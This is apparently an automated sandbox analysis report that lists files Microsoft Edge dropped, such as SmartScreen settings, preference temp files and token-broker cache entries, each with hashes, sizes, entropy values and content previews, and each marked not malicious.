SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.024935856616373
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVzVY:YWLSGTt1o9LuLgfGBPAzkVj/T8lRy
MD5:	EEE219484E6C11F38B03A5A890E882CC
SHA1:	F289C9855EF48DBBEB6598745DF2703D59887150
SHA-256:	BED3AA853D5BF07A2F579FE774C5C2F2FF6A5EB2D0F1988C5D7A04F240BCD1E8
SHA-512:	3A576E505234440663FA1E7731908D2AA72208B716E596B1C5573B017635ACA0FC438167399E1551200E10087F841766B2818D00D6664D3944D813470A6E2C77
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730441064577358}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c30d71b9-4668-4dbc-8b20-97e3abf9029a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cabfc4c2-97df-40b4-bf97-6b0c7b6b77e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46144
Entropy (8bit):	6.088301753202476
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgp9/wDuvhDO6vP6OU8afvWoGKZIWhy1DhSCAoWGoup1Xl3jVzy:mMk1rT8HJ9/s60L01sRoWhu3VlXr4J
MD5:	F8A109E364DA1F1ACBECF6F4FE1FE0B8
SHA1:	DAF0333AC0046AF91B2FA8416049B7528A60FDCB
SHA-256:	D97FF2B4AB997FB911F892B75875AEEE8B2770E66ED5800086DAC3856C4CE08A
SHA-512:	03C61C092A12DF131BB68B0A5E7D27276E4E523EC17ACA28D2BB33C2A1FE80E0D8C7D0FA5A4603AABFFA48F68A145D11043C8FA569AED6365EDEE041631A3741
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cb64190d-3a4e-4311-adc2-d4f52608da84.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46020
Entropy (8bit):	6.088534336332417
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9/GDuvhDO6vP6OUoafvWoGKZIWhy1DhSCAoWGoup1Xl3jVzy:mMk1rT8HR9/O60f01sRoWhu3VlXr4J
MD5:	92A8B10CBA1147A545A8F553E489FA9E
SHA1:	2A44F1D1F4E6445C1DE64FF1F8FE6AEAB88DD3DC
SHA-256:	B70C36AD9C446A9D0EF220BAD6E57FDB05673B853567BEC23EF56F1F55998261
SHA-512:	5B59E428F280656DF5358F07C68906F35382A3CCF65A47DDC3A3A9B0C102AABFE9B29A5954ED151462B31996D25C6A2881E74854540A582D5A0C2AB8744FFC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e91a15eb-108d-413e-b881-b93994c1a764.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44698
Entropy (8bit):	6.09630208656734
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBTwu2hDO6vP6OUoafvWoGKZIWcGoup1Xl3jVzXr4z:z/Ps+wsI7yOEL60fchu3VlXr4CRo1
MD5:	9E27B63296ED01629C7EBEFE0F641BA9
SHA1:	5CFE54F88D01ECAB4AA41F9C0D2C324E932B359A
SHA-256:	C116367AB54564BA7E54581ABB2A29A536C6A28BCC4861EF3E6B7A79BE45E223
SHA-512:	16C4C042D33915376E48580E81096F2359688754D1B2B30803C09E4B1736FEFC50823FF854F22A2FA3E95B609AC4AFC0D213ECB84F88E9DE778A9B979D2F6E94
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f731919c-1a17-47c7-9f1f-22275358cd54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46067
Entropy (8bit):	6.088385415408897
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9/wDuvhDO6vP6OUoafvWoGKZIWhy1DhSCAoWGoup1Xl3jVzy:mMk1rT8HR9/s60f01sRoWhu3VlXr4J
MD5:	6DEF8DF6AC51033F3E3CE5AB10E54303
SHA1:	F4C69C722F68835246A70E8887A844778B7C420C
SHA-256:	A7EA067F95877E2A30F03778CB95E48BDAF204789C66F6029CB16AD470937909
SHA-512:	3867058D3D77CCD8775200B4FC0298AD502D70FE12C4DA3FA760FBEB7860F27E194438C9D3B339492FD8ACFCA71DBABE8102015B1521839E4E2B61BC7F8FE2F8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8529539245329922
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxYxl9Il8ucSIFGBUtgNMewARMQi2d1rc:mFYO4Bagtet
MD5:	8214E3E95A17F1F7494062B021E5DBDE
SHA1:	7D024E7E57C8243F5D3D17DE1AE3623B78511287
SHA-256:	218F24EAEC232170BC9B5683E404AE8756E9217D74915FC4D9CD02107ABA8FE5
SHA-512:	3BC392717F98605BEAEA6B9D84BDBB284C5C5DCD2BA4913C0BF330BD10B9D9A409586A7CDAEAFB58D4E9B9F92578BD60E00E02053C0F9DD0B8EA270807E284EE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.J.e.l.0.E.r.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.h.I.I.R.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.006563380876208
Encrypted:	false
